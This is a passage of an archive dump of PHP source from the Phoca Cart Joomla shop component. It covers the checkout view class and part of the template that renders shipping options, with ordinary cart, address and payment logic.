// ADD OR EDIT - user didn't add the shipping yet or user wants to
edit it now
} else if ($this->a->shippingedit == 1) {
$d['status'] = 'pending';
$total = $this->cart->getTotal();
$price = new PhocacartPrice();
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
// Header
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header"
id="phcheckoutshippingedit">'.$layoutI->render($d).'<h3>'.$this->t['ns'].'.
'.JText::_('COM_PHOCACART_SHIPPING_OPTIONS').'</h3></div>';
echo '</div>';
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutAddress">';
echo '<div id="ph-request-message"
style="display:none"></div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-shipping-row" id="phShippingMethods"
>';
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_SHIPPING_METHODS').'</div>';
echo '</div>';
//echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-shipping-cost-box">';
foreach($this->t['shippingmethods'] as $k => $v) {
$checked = '';
if (isset($v->selected) && $v->selected == 1 ) {
$checked = 'checked="checked"';
}
$priceI = $price->getPriceItemsShipping($v->cost,
$v->cost_additional, $v->calculation_type, $total[0], $v->taxid,
$v->taxrate, $v->taxcalculationtype, $v->taxtitle, 0, 1);
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'">';
echo '<div class="radio">';
echo '<label><input type="radio"
name="phshippingopt"
id="phshippingopt'.$v->id.'"
value="'.$v->id.'" '.$checked.'
>';
if ($v->image != '') {
echo '<span class="ph-shipping-image"><img
src="'.JURI::base(true) .'/'. $v->image.'"
alt="'.htmlspecialchars(strip_tags($v->title)).'"
/></span>';
}
echo '<span
class="ph-shipping-title">'.$v->title.'</span>';
echo '</label>';
echo '</div>';
// Event
if (isset($v->method) && $v->method != '') {
JPluginHelper::importPlugin('pcs',
htmlspecialchars(strip_tags($v->method)));
$eventData = array();
$eventData['pluginname'] =
htmlspecialchars(strip_tags($v->method));
$results =
Factory::getApplication()->triggerEvent('PCSgetShippingBranches',
array('com_phocacart.checkout', $v, $eventData));
if (!empty($results)) {
echo trim(implode("\n", $results));
}
}
if ($this->t['display_shipping_desc'] &&
$v->description != '') {
echo '<div
class="ph-checkout-shipping-desc">'.Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$v->description).'</div>';
}
echo '</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'">';
echo '<div class="radio">';
echo '<div
class="'.$this->s['c']['row'].'">';
if ($this->t['zero_shipping_price'] == 0 &&
$priceI['zero'] == 1) {
// Display blank price field
} else if ($this->t['zero_shipping_price'] == 2 &&
$priceI['zero'] == 1) {
// Display free text
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-checkout-shipping-free-txt"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-shipping-free">'.JText::_('COM_PHOCACART_FREE').'</div>';
} else {
if ($priceI['nettoformat'] ==
$priceI['bruttoformat']) {
} else if ($priceI['nettoformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-checkout-shipping-netto-txt">'.$priceI['nettotxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-shipping-netto">'.$priceI['nettoformat'].'</div>';
}
if ($priceI['taxformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-checkout-shipping-tax-txt">'.$priceI['taxtxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-shipping-tax">'.$priceI['taxformat'].'</div>';
}
if ($priceI['bruttoformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-checkout-shipping-brutto-txt">'.$priceI['bruttotxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-shipping-brutto">'.$priceI['bruttoformat'].'</div>';
}
if ($priceI['costinfo'] != '') {
// Possible variables:
// $priceI['costinfoprice'] ... raw price without price
additional
// $priceI['costinfopriceadditional'] ... raw additional
price
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-checkout-payment-cost-info-txt"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-right
ph-checkout-payment-cost-info">'.$priceI['costinfo'].'</div>';
}
}
echo '</div>';// end row
echo '</div>';// end radio
echo '</div>';// end row second column
echo '<div class="ph-cb"></div>';
}
//echo '<div class="ph-cb"></div>';
//echo '</div>';// end shipping cost box
//echo '</div>';// end shipping row
//echo '<div class="ph-cb"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
echo '<div
class="'.$this->s['c']['pull-right'].'
ph-checkout-shipping-save">';
echo '<button
class="'.$this->s['c']['btn.btn-primary.btn-sm'].'
ph-btn"><span
class="'.$this->s['i']['save'].'"></span>
'.JText::_('COM_PHOCACART_SAVE').'</button>';
echo '</div>';
echo '</div>';
//echo '<div class="ph-cb"></div>';
echo '</div>'."\n";// end box action
echo '<input type="hidden" name="task"
value="checkout.saveshipping" />'. "\n";
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
} else {
$d['status'] = 'pending';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header-pas">'.$layoutI->render($d).'<h3>'.$this->t['ns'].'.
'.JText::_('COM_PHOCACART_SHIPPING_OPTIONS').'</h3></div>';
echo '</div>';
}
?>
checkout/tmpl/index.html000064400000000054151165726750011340
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>checkout/view.html.php000064400000101730151165726750011020
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see
LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport('joomla.application.component.view');
class PhocaCartViewCheckout extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $gu;
protected $item;
protected $data; // address data for output
protected $form; // address data for form
protected $fields;// fields loaded for data and form to check if
required fields are filled out
protected $cart;
protected $s;
protected $a;
function display($tpl = null) {
$document = JFactory::getDocument();
$app = JFactory::getApplication();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$this->u = PhocacartUser::getUser();
$this->p = $app->getParams();
$this->a = new PhocacartAccess();
$this->s = PhocacartRenderStyle::getStyles();
$guest = PhocacartUserGuestuser::getGuestUser();
$reward = new PhocacartReward();
$this->t['action'] = $uri->toString();
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute());
$this->t['checkout_desc'] =
$this->p->get('checkout_desc', '');
$this->t['checkout_desc'] =
PhocacartRenderFront::renderArticle($this->t['checkout_desc']);
$this->t['stock_checkout'] =
$this->p->get('stock_checkout', 0);
$this->t['stock_checking'] =
$this->p->get('stock_checking', 0);
$this->t['guest_checkout'] =
$this->p->get('guest_checkout', 0);
$this->t['guest_checkout_auto_enable'] =
$this->p->get('guest_checkout_auto_enable', 0);
$this->t['icon_suffix'] =
$this->p->get('icon_suffix', '-circle');
$this->t['display_shipping_desc'] =
$this->p->get('display_shipping_desc', 0);
$this->t['display_payment_desc'] =
$this->p->get('display_payment_desc', 0);
$this->t['zero_shipping_price'] =
$this->p->get('zero_shipping_price', 1);
$this->t['zero_payment_price'] =
$this->p->get('zero_payment_price', 1);
$this->t['checkout_scroll'] =
$this->p->get('checkout_scroll', 1);
$this->t['enable_coupons'] =
$this->p->get('enable_coupons', 2);
$this->t['enable_rewards'] =
$this->p->get('enable_rewards', 1);
$this->t['checkout_icon_status'] =
$this->p->get('checkout_icon_status', 1);
$this->t['display_webp_images'] =
$this->p->get('display_webp_images', 0);
$this->t['skip_shipping_method'] =
$this->p->get('skip_shipping_method', 0);
$this->t['skip_payment_method'] =
$this->p->get('skip_payment_method', 0);
$this->t['automatic_shipping_method_setting'] =
$this->p->get('automatic_shipping_method_setting', 0);
$this->t['automatic_payment_method_setting'] =
$this->p->get('automatic_payment_method_setting', 0);
$this->t['display_apply_coupon_form'] =
$this->p->get('display_apply_coupon_form', 1);
$this->t['display_apply_reward_points_form'] =
$this->p->get('display_apply_reward_points_form', 1);
$this->t['$delivery_billing_same_enabled'] =
$this->p->get('delivery_billing_same_enabled', 0);
// Message set in Openting Times class
PhocacartTime::checkOpeningTimes();
// Enable guest checkout automatically
if ($this->t['guest_checkout'] == 1 &&
$this->t['guest_checkout_auto_enable'] == 1) {
//$guest = new PhocacartUserGuestuser();
//$guest->setGuestUser(1);
$guest = PhocacartUserGuestuser::setGuestUser(1);
}
// Terms and Conditions
$this->t['display_checkout_toc_checkbox'] =
$this->p->get('display_checkout_toc_checkbox', 2);
if ($this->t['display_checkout_toc_checkbox'] > 0)
{
$this->t['terms_conditions_custom_label_text'] =
$this->p->get('terms_conditions_custom_label_text', 0);
$linkTerms =
JRoute::_(PhocacartRoute::getTermsRoute(0, 0,
'tmpl=component'));
$defaultText =
JText::_('COM_PHOCACART_I_HAVE_READ_AND_AGREE_TO_THE') . '
<a href="' . $linkTerms . '"
onclick="phWindowPopup(this.href, \'phWindowPopupTerms\', 2,
1.6);return false;" >' .
JText::_('COM_PHOCACART_TERMS_AND_CONDITIONS') .
'</a>';
$this->t['terms_conditions_label_text'] =
PhocacartRenderFront::renderArticle((int)$this->t['terms_conditions_custom_label_text'],
'html', $defaultText);
}
// Checkout Privacy checkbox
$this->t['display_checkout_privacy_checkbox'] =
$this->p->get('display_checkout_privacy_checkbox', 0);
if ($this->t['display_checkout_privacy_checkbox'] >
0) {
$this->t['checkout_privacy_checkbox_label_text'] =
$this->p->get('checkout_privacy_checkbox_label_text', 0);
$this->t['checkout_privacy_checkbox_label_text'] =
PhocacartRenderFront::renderArticle((int)$this->t['checkout_privacy_checkbox_label_text'],
'html', '');
}
// Newsletter
$this->t['display_checkout_newsletter_checkbox'] =
$this->p->get('display_checkout_newsletter_checkbox', 0);
if ($this->t['display_checkout_newsletter_checkbox']
> 0) {
$this->t['checkout_newsletter_checkbox_label_text'] =
$this->p->get('checkout_newsletter_checkbox_label_text',
0);
$this->t['checkout_newsletter_checkbox_label_text'] =
PhocacartRenderFront::renderArticle((int)$this->t['checkout_newsletter_checkbox_label_text'],
'html', '');
}
$this->t['enable_captcha_checkout'] =
PhocacartCaptcha::enableCaptchaCheckout();
$scrollTo = '';
// Not ready yet
// Checkout cart can be changed by ajax
// But not module cart, no shipping, no payment is refreshed, no
plus/minus (touchspin.js) refreshed
//PhocacartRenderJs::renderAjaxUpdateCart();// used only in POS
// Cart
$this->cart = new PhocacartCartRendercheckout();
$this->cart->setFullItems();
if ((int)$this->u->id > 0) {
$this->a->login = 1;
} else if ($guest) {
$this->a->login = 2;
}
// Shipping and Payment rules will be checked including rounding
$this->cart->roundTotalAmount();
// Is there even a shipping or payment (or is active based on
criterias)
$total = $this->cart->getTotal();
$sOCh = array();// Shipping Options Checkout
// PRODUCTTYPE
$sOCh['all_digital_products'] =
isset($total[0]['countdigitalproducts']) &&
isset($total[0]['countallproducts']) &&
(int)$total[0]['countdigitalproducts'] ==
$total[0]['countallproducts'] ? 1 : 0;
$pOCh = array();// Payment Options
Checkout
$pOCh['order_amount_zero'] = 1;
$pOCh['order_amount_zero'] =
$total[0]['brutto'] == 0 && $total[0]['netto']
== 0 ? 1 : 0;
$this->a->shippingnotused =
PhocacartShipping::isShippingNotUsed($sOCh);
$this->a->paymentnotused =
PhocacartPayment::isPaymentNotUsed($pOCh);
// COUPONS - Coupon can be added in payment method or below
calculation
$this->t['couponcodevalue'] = '';
if ($this->cart->getCouponCode() != '') {
$this->t['couponcodevalue'] =
$this->cart->getCouponCode();
}
// REWARD POINTS - reward points can be added in payment method or
below the calculation
$this->t['rewards'] = array();
$this->t['rewards']['apply'] = false;
if ($this->t['enable_rewards']) {
if ($this->u->id > 0) {
$this->t['rewards']['needed'] =
$this->cart->getRewardPointsNeeded();
$this->t['rewards']['usertotal'] =
$reward->getTotalPointsByUserId($this->u->id);
$this->t['rewards']['usedvalue'] =
'';
if ($this->cart->getRewardPointsUsed() !=
'' && (int)$this->cart->getRewardPointsUsed() >
0) {
$this->t['rewards']['usedvalue']
= $this->cart->getRewardPointsUsed();
}
if ($this->t['rewards']['usertotal']
> 0) {
$this->t['rewards']['text'] =
'<small>(' .
JText::_('COM_PHOCACART_AVAILABLE_REWARD_POINTS') . ':
' . (int)$this->t['rewards']['usertotal'] .
', ' .
JText::_('COM_PHOCACART_MAXIMUM_REWARD_POINTS_TO_USE') . ':
' . (int)$this->t['rewards']['needed'] .
')</small>';
$this->t['rewards']['apply'] =
true;
}
}
}
// Numbers
$this->t['nl'] = 1; // Login
$this->t['na'] = 2; // Address
$this->t['ns'] = 3; // Shipping
$this->t['np'] = 4; // Payment
if ($this->a->shippingnotused == 1) {
$this->t['np'] = 3;
}
if ($this->a->login == 1 || $this->a->login == 2) {
// =======
// ADDRESS
// =======
$this->t['dataaddressoutput'] = array();
$this->a->addressedit =
$app->input->get('addressedit', 0, 'int'); //
Edit Address
// GUEST
if ($this->a->login == 2) {
// Check if all form items are filled out by user, if yes,
don't load the form and save some queries
$this->fields = $this->get('FieldsGuest');
// Fields will be loaded in every case
if ($this->a->addressedit == 0) {
$this->data =
$this->get('DataGuest');
$this->t['dataaddressoutput'] =
PhocacartUser::getAddressDataOutput($this->data,
$this->fields['array'], $this->u, 1);
}
//Some required field is not filled out
if
(isset($this->t['dataaddressoutput']['filled'])
&& $this->t['dataaddressoutput']['filled']
== 1) {
$this->a->addressadded = 1;
} else {
$this->a->addressadded = 0;
}
// Load form and fields to edit address
if ($this->a->addressadded == 0 ||
$this->a->addressedit == 1) {
$this->a->addressview = 0;
$this->a->addressedit = 1;
$scrollTo =
'phcheckoutaddressedit';
$this->form =
$this->get('FormGuest');
$this->t['dataaddressform'] =
PhocacartUser::getAddressDataForm($this->form,
$this->fields['array'], '', '',
'_phs', 1);
}
// REGISTERED
} else {
// Check if all form items are filled out by user, if yes,
don't load the form and save some queries
$this->fields = $this->get('Fields'); //
Fields will be loaded in every case
if ($this->a->addressedit == 0) {
$this->data = $this->get('Data');
$this->t['dataaddressoutput'] =
PhocacartUser::getAddressDataOutput($this->data,
$this->fields['array'], $this->u);
}
//Some required field is not filled out
if
(isset($this->t['dataaddressoutput']['filled'])
&& $this->t['dataaddressoutput']['filled']
== 1) {
$this->a->addressadded = 1;
} else {
$this->a->addressadded = 0;
}
// Load form and fields to edit address
if ($this->a->addressadded == 0 ||
$this->a->addressedit == 1) {
$this->a->addressview = 0;
$this->a->addressedit = 1;
$this->form =
$this->get('Form');
$this->t['dataaddressform'] =
PhocacartUser::getAddressDataForm($this->form,
$this->fields['array'], $this->u);
$scrollTo =
'phcheckoutaddressedit';
}
}
if ($this->a->addressadded == 1 &&
$this->a->addressedit == 0) {
$this->a->addressview = 1;
$scrollTo = 'phcheckoutaddressview';
}
// ====================
// SHIPPING
// ====================
$shipping = new PhocacartShipping();
$country =
$shipping->getUserCountryShipping($this->t['dataaddressoutput']);
$region =
$shipping->getUserRegionShipping($this->t['dataaddressoutput']);
$zip =
$shipping->getUserZipShipping($this->t['dataaddressoutput']);
$this->a->shippingadded = 0;
$this->a->shippingedit =
$app->input->get('shippingedit', 0, 'int'); //
Edit Shipping
$shippingId = $this->cart->getShippingId();
// Shipping stored in cart or not?
if (isset($shippingId) && (int)$shippingId > 0
&& $this->a->shippingedit == 0) {
// Shipping method is stored in cart, we can update the
cart (add shipping costs to whole cart)
$this->a->shippingadded = 1;
$this->a->shippingview = 1;
$scrollTo =
'phcheckoutshippingview';
$this->cart->addShippingCosts($shippingId);
$this->t['shippingmethod'] =
$this->cart->getShippingCosts();
// If "automatic_shipping_method_setting" is set
to yes, this means that the shipping method will be set automatically in
case:
// - there is only one shipping method available or only
one meets the criteria
// - and the parameter is set to yes
// It is not possible to edit the method because when
switching to edit, the method will be set automatically as wished by
enabling the parameter
// and redirect outside the editing mode
if
($this->t['automatic_shipping_method_setting'] == 1) {
//- $shipping = new PhocacartShipping();
$this->t['shippingmethods'] =
$shipping->getPossibleShippingMethods($total[0]['netto'],
$total[0]['brutto'], $total[0]['quantity'], $country,
$region, $zip, $total[0]['weight'],
$total[0]['length'], $total[0]['width'],
$total[0]['height'], 0, $shippingId);
if (!empty($this->t['shippingmethods'])
&& count($this->t['shippingmethods']) == 1) {
$this->a->shippingdisplayeditbutton = 0;
}
}
// Shipping method which was selected is not more active -
display edit again
if ($this->t['shippingmethod'] == 0) {
$this->a->shippingadded = 0;
$this->a->shippingedit = 1;
$shippingId = 0;
}
}
if (($this->a->shippingedit == 1 ||
$this->a->shippingadded == 0) && $this->a->addressadded
== 1 && $this->a->addressedit == 0 &&
$this->a->paymentedit == 0) {
// Shipping cost is not stored in cart, display possible
shipping methods
// We ask for total of cart because of amount rule
$this->a->shippingadded = 0;
$this->a->shippingview = 0;
$this->a->shippingedit = 1;
$scrollTo =
'phcheckoutshippingedit';
//- $shipping = new PhocacartShipping();
//$shipping->setType();
$total = $this->cart->getTotal();
$this->t['shippingmethods'] =
$shipping->getPossibleShippingMethods($total[0]['netto'],
$total[0]['brutto'], $total[0]['quantity'], $country,
$region, $zip, $total[0]['weight'],
$total[0]['length'], $total[0]['width'],
$total[0]['height'], 0, $shippingId);//$shippingId = 0 so all
possible shipping methods will be listed
// If there is only one valid shipping method and it is set
in parameter we can directly store this method so user does not need to add
it
// When setting the shipping method then the cart needs to
be "refreshed", shipping costs needs to be added and info about
shpping id
// must be updated because of payment rules (one of payment
rule is shipping)
if (!empty($this->t['shippingmethods'])
&& count($this->t['shippingmethods']) == 1 &&
$this->t['automatic_shipping_method_setting'] == 1) {
if
(isset($this->t['shippingmethods'][0]->id) &&
(int)$this->t['shippingmethods'][0]->id > 0) {
$shippingStored = 0;
if ($this->a->login == 1 &&
isset($this->u->id) && $this->u->id > 0) {
if
($shipping->storeShippingRegistered($this->t['shippingmethods'][0]->id,
$this->u->id)) {
$shippingStored = 1;
}
} else if ($this->a->login == 2) {
if
(PhocacartUserGuestuser::storeShipping((int)$this->t['shippingmethods'][0]->id))
{
$shippingStored = 1;
}
}
if ($shippingStored == 1) {
$shippingId =
(int)$this->t['shippingmethods'][0]->id;// will be used for
payment - updated now
$this->cart->addShippingCosts($shippingId); // add the
costs to cart so it has updated information
$this->t['shippingmethod'] =
$this->cart->getShippingCosts();
$this->a->shippingadded = 1;
$this->a->shippingview = 1;
$this->a->shippingedit = 0;
$this->a->shippingdisplayeditbutton = 0;
$scrollTo =
'phcheckoutpaymentedit';
}
}
}
// No shipping method found even all rules were applied and
shipping methods were searched
// THIS CASE CAN BE VENDOR ERROR (wrong setting of shipping
methods) OR PURPOSE - be aware when using $skip_shipping_method = 3
// Skip adding/selecting shipping method and allow customer
proceeding the order? (depends on parameter:
$this->t['skip_shipping_method'])
// Must be implemented here because now we know information
about total, shipping and address we need for deciding about shipping
method
// Must cooperate with
administrator/components/com_phocacart/libraries/phocacart/order/order.php
cca 402
// In this case
$this->t['shippingmethod']['id'] is even null, so we
don't need to ask $shipping->getPossibleShippingMethods for
outcomes with not selected shipping method
if (empty($this->t['shippingmethods'])
&& $this->t['skip_shipping_method'] == 3) {
$this->a->shippingnotused = 1;
};
}
//- }
// =================
// PAYMENT (VOUCHER)
// =================
$payment = new PhocacartPayment();
$country =
$payment->getUserCountryPayment($this->t['dataaddressoutput']);
$region =
$payment->getUserRegionPayment($this->t['dataaddressoutput']);
$this->a->paymentadded = 0;
$this->a->paymentedit =
$app->input->get('paymentedit', 0, 'int'); //
Edit Shipping
$this->t['paymentmethod'] =
$this->cart->getPaymentMethod();
$paymentMethodId =
isset($this->t['paymentmethod']['id']) &&
(int)$this->t['paymentmethod']['id'] > 0 ?
(int)$this->t['paymentmethod']['id']: 0;
if ((int)$paymentMethodId > 0 &&
$this->a->paymentedit == 0) {
$this->cart->addPaymentCosts($paymentMethodId);//
validity of payment will be checked
$this->t['paymentmethod'] =
$this->cart->getPaymentCosts();
$this->a->paymentadded = 1;
$this->a->paymentview = 1;
$scrollTo =
'phcheckoutpaymentview';
// If "automatic_payment_method_setting" is set
to yes, this means that the payment method will be set automatically in
case:
// - there is only one payment method available or only one
meets the criteria
// - and the parameter is set to yes
// It is not possible to edit the method because when
switching to edit, the method will be set automatically as wished by
enabling the parameter
// and redirect outside the editing mode
if
($this->t['automatic_payment_method_setting'] == 1) {
//$payment = new PhocacartPayment();
$shippingId =
$this->cart->getShippingId();// Shipping stored in cart or not?
$this->t['paymentmethods'] =
$payment->getPossiblePaymentMethods($total[0]['netto'],
$total[0]['brutto'], $country, $region, $shippingId, 0,
$paymentMethodId);
if (!empty($this->t['paymentmethods'])
&& count($this->t['paymentmethods']) == 1) {
$this->a->paymentdisplayeditbutton = 0;
}
}
// Payment method which was selected is not more active -
display edit again
if ($this->t['paymentmethod'] == 0) {
$paymentMethodId = 0;
$this->a->paymentadded = 0;
$this->a->paymentedit = 1;
}
}
if (($this->a->paymentedit == 1 ||
$this->a->paymentadded == 0) && $this->a->addressadded
== 1 && $this->a->addressedit == 0 &&
(($this->a->shippingadded == 1 &&
$this->a->shippingedit == 0) || $this->a->shippingnotused ==
1)) {
// Payment cost is not stored in cart, display possible
payment methods
// We ask for total of cart because of amount rule
$this->a->paymentadded = 0;
$this->a->paymentview = 0;
$this->a->paymentedit = 1;
$scrollTo =
'phcheckoutpaymentedit';
//$payment = new PhocacartPayment();
$shippingId = $this->cart->getShippingId();//
Shipping stored in cart or not?
$total = $this->cart->getTotal();
$this->t['paymentmethods'] =
$payment->getPossiblePaymentMethods($total[0]['netto'],
$total[0]['brutto'], $country, $region, $shippingId, 0,
$paymentMethodId);
// If there is only one valid payment method and it is set
in parameter we can directly store this method so user does not need to add
it
// When setting the payment method then the cart needs to
be "refreshed", payment costs needs to be added and info about
shpping id
// must be updated because of payment rules (one of payment
rule is payment)
if (!empty($this->t['paymentmethods'])
&& count($this->t['paymentmethods']) == 1 &&
$this->t['automatic_payment_method_setting'] == 1) {
if
(isset($this->t['paymentmethods'][0]->id) &&
(int)$this->t['paymentmethods'][0]->id > 0) {
$paymentStored = 0;
if ($this->a->login == 1 &&
isset($this->u->id) && $this->u->id > 0) {
if
($payment->storePaymentRegistered($this->t['paymentmethods'][0]->id,
$this->u->id)) {
$paymentStored = 1;
}
} else if ($this->a->login == 2) {
if
(PhocacartUserGuestuser::storePayment((int)$this->t['paymentmethods'][0]->id))
{
$paymentStored = 1;
}
}
if ($paymentStored == 1) {
$paymentId =
(int)$this->t['paymentmethods'][0]->id;// will be used for
payment - updated now
$this->cart->addPaymentCosts($paymentId);
// add the costs to cart so it has updated information //
validity of payment will be checked
$this->t['paymentmethod'] =
$this->cart->getPaymentCosts();
$this->a->paymentadded = 1;
$this->a->paymentview = 1;
$this->a->paymentedit = 0;
$this->a->paymentdisplayeditbutton = 0;
$scrollTo =
'phcheckoutpaymentview';
}
}
}
// No payment method found even all rules were applied and
payment methods were searched
// THIS CASE CAN BE VENDOR ERROR (wrong setting of shipping
methods) OR PURPOSE - be aware when using $skip_shipping_method = 3
// Skip adding/selecting payment method and allow customer
proceeding the order? (depends on parameter:
$this->t['skip_shipping_method'])
// Must be implemented here because now we know information
about total, shipping and address we need for deciding about payment
method
// Must cooperate with
administrator/components/com_phocacart/libraries/phocacart/order/order.php
cca 402
// In this case
$this->t['paymentmethod']['id'] is even null, so we
don't need to ask $payment->getPossiblePaymentMethods for outcomes
with not selected payment method
if (empty($this->t['paymentmethods'])
&& $this->t['skip_payment_method'] == 3) {
$this->a->paymentnotused = true;
};
/* BOTH COUPON OR REWARD POINTS CAN BE SET BEFORE PAYMENT
// COUPON
$this->t['couponcodevalue'] =
'';
if ($this->cart->getCouponCode() != '')
{
$this->t['couponcodevalue'] =
$this->cart->getCouponCode();
}
// REWARD POINTS
$this->t['rewards'] = array();
$this->t['rewards']['apply'] =
false;
if ($this->t['enable_rewards']) {
if ($this->u->id > 0) {
$this->t['rewards']['needed'] =
$this->cart->getRewardPointsNeeded();
$this->t['rewards']['usertotal'] =
$reward->getTotalPointsByUserId($this->u->id);
$this->t['rewards']['usedvalue'] = '';
if ($this->cart->getRewardPointsUsed() !=
'' && (int)$this->cart->getRewardPointsUsed() >
0) {
$this->t['rewards']['usedvalue'] =
$this->cart->getRewardPointsUsed();
}
if
($this->t['rewards']['usertotal'] > 0) {
$this->t['rewards']['text'] =
'<small>('.JText::_('COM_PHOCACART_AVAILABLE_REWARD_POINTS').':
'.(int)$this->t['rewards']['usertotal'].',
'.JText::_('COM_PHOCACART_MAXIMUM_REWARD_POINTS_TO_USE').':
'.(int)$this->t['rewards']['needed'].')</small>';
$this->t['rewards']['apply'] = true;
}
}
}
*/
}
//- }
//- PhocacartRenderJs::renderBillingAndShippingSame();
}
// Rounding set before checking shipping and payment method
// $this->cart->roundTotalAmount();
// CART IS EMPTY - MUST BE CHECKED BEFOR CONFIRM
// Don't allow to add or edit payment or shipping method,
don't allow to confirm the order
if (empty($this->cart->getItems())) {
$this->a->shippingnotused = 1;
$this->a->paymentnotused = 1;
$this->a->confirm = 0;
}
if ($this->a->shippingnotused == 1) {
$this->a->shippingview = 1;
if ($scrollTo == 'phcheckoutshippingedit') {
$scrollTo = '';
}
}
if ($this->a->paymentnotused == 1) {
$this->a->paymentview = 1;
if ($scrollTo == 'phcheckoutpaymentedit') {
$scrollTo = '';
}
}
// VIEW - CONFIRM - all items added
if (($this->a->login == 1 || $this->a->login == 2)
&& $this->a->addressview == 1 &&
$this->a->shippingview == 1 && $this->a->paymentview ==
1) {
$this->a->confirm = 1;
// Custom "Confirm Order" Text
$total =
$this->cart->getTotal();
$totalBrutto =
isset($total[0]['brutto']) ? $total[0]['brutto'] : 0;
$this->t['confirm_order_text'] =
PhocacartRenderFront::getConfirmOrderText($totalBrutto);
}
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadChosen();
$media->loadWindowPopup();
$media->loadTouchSpin('quantity',
$this->s['i']);
//PhocacartRenderJs::renderAjaxUpdateCart(); used only in POS
//Scroll to
if ($this->t['checkout_scroll'] == 0) {
$scrollTo = '';
}
if ($scrollTo == '') {
} else if ($scrollTo == 'phcheckoutaddressedit' ||
$scrollTo == 'phcheckoutshippingedit' || $scrollTo ==
'phcheckoutpaymentedit') {
PhocacartRenderJs::renderJsScrollTo($scrollTo, 2);
} else if ($scrollTo == 'phcheckoutpaymentview') {
// last view - in fact phcheckoutconfirmedit
PhocacartRenderJs::renderJsScrollTo($scrollTo, 1);
} else {
PhocacartRenderJs::renderJsScrollTo('', 2);
}
// Render the cart (here because it can be changed above - shipping
can be added)
//$total = $this->cart->getTotal();
$this->t['cartoutput'] = $this->cart->render();
$this->t['cartempty'] =
$this->cart->getCartCountItems() > 0 ? false : true;
$this->t['stockvalid'] =
$this->cart->getStockValid();
$this->t['minqtyvalid'] =
$this->cart->getMinimumQuantityValid();
$this->t['minmultipleqtyvalid'] =
$this->cart->getMinimumMultipleQuantityValid();
$media->loadSpec();
$this->_prepareDocument();
// Plugins ------------------------------------------
$this->t['total'] = $total;
JPluginHelper::importPlugin('pcv');
//$this->t['dispatcher'] = J
EventDispatcher::getInstance();
$this->t['event'] = new stdClass;
$results =
\JFactory::getApplication()->triggerEvent('PCVonCheckoutAfterCart',
array('com_phocacart.checkout', $this->a, &$this->p,
$this->t['total']));
$this->t['event']->onCheckoutAfterCart =
trim(implode("\n", $results));
$results =
\JFactory::getApplication()->triggerEvent('PCVonCheckoutAfterLogin',
array('com_phocacart.checkout', $this->a, &$this->p,
$this->t['total']));
$this->t['event']->onCheckoutAfterLogin =
trim(implode("\n", $results));
$results =
\JFactory::getApplication()->triggerEvent('PCVonCheckoutAfterAddress',
array('com_phocacart.checkout', $this->a, &$this->p,
$this->t['total']));
$this->t['event']->onCheckoutAfterAddress =
trim(implode("\n", $results));
$results =
\JFactory::getApplication()->triggerEvent('PCVonCheckoutAfterShipping',
array('com_phocacart.checkout', $this->a, &$this->p,
$this->t['total']));
$this->t['event']->onCheckoutAfterShipping =
trim(implode("\n", $results));
$results =
\JFactory::getApplication()->triggerEvent('PCVonCheckoutAfterPayment',
array('com_phocacart.checkout', $this->a, &$this->p,
$this->t['total']));
$this->t['event']->onCheckoutAfterPayment =
trim(implode("\n", $results));
$results =
\JFactory::getApplication()->triggerEvent('PCVonCheckoutAfterConfirm',
array('com_phocacart.checkout', $this->a, &$this->p,
$this->t['total']));
$this->t['event']->onCheckoutAfterConfirm =
trim(implode("\n", $results));
// END Plugins --------------------------------------
$media->loadSpec();
parent::display($tpl);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document,
$this->p, false, false, JText::_('COM_PHOCACART_CHECKOUT'));
}
}
?>
comparison/index.html000064400000000054151165726750010731
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>comparison/metadata.xml000064400000000277151165726760011246
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
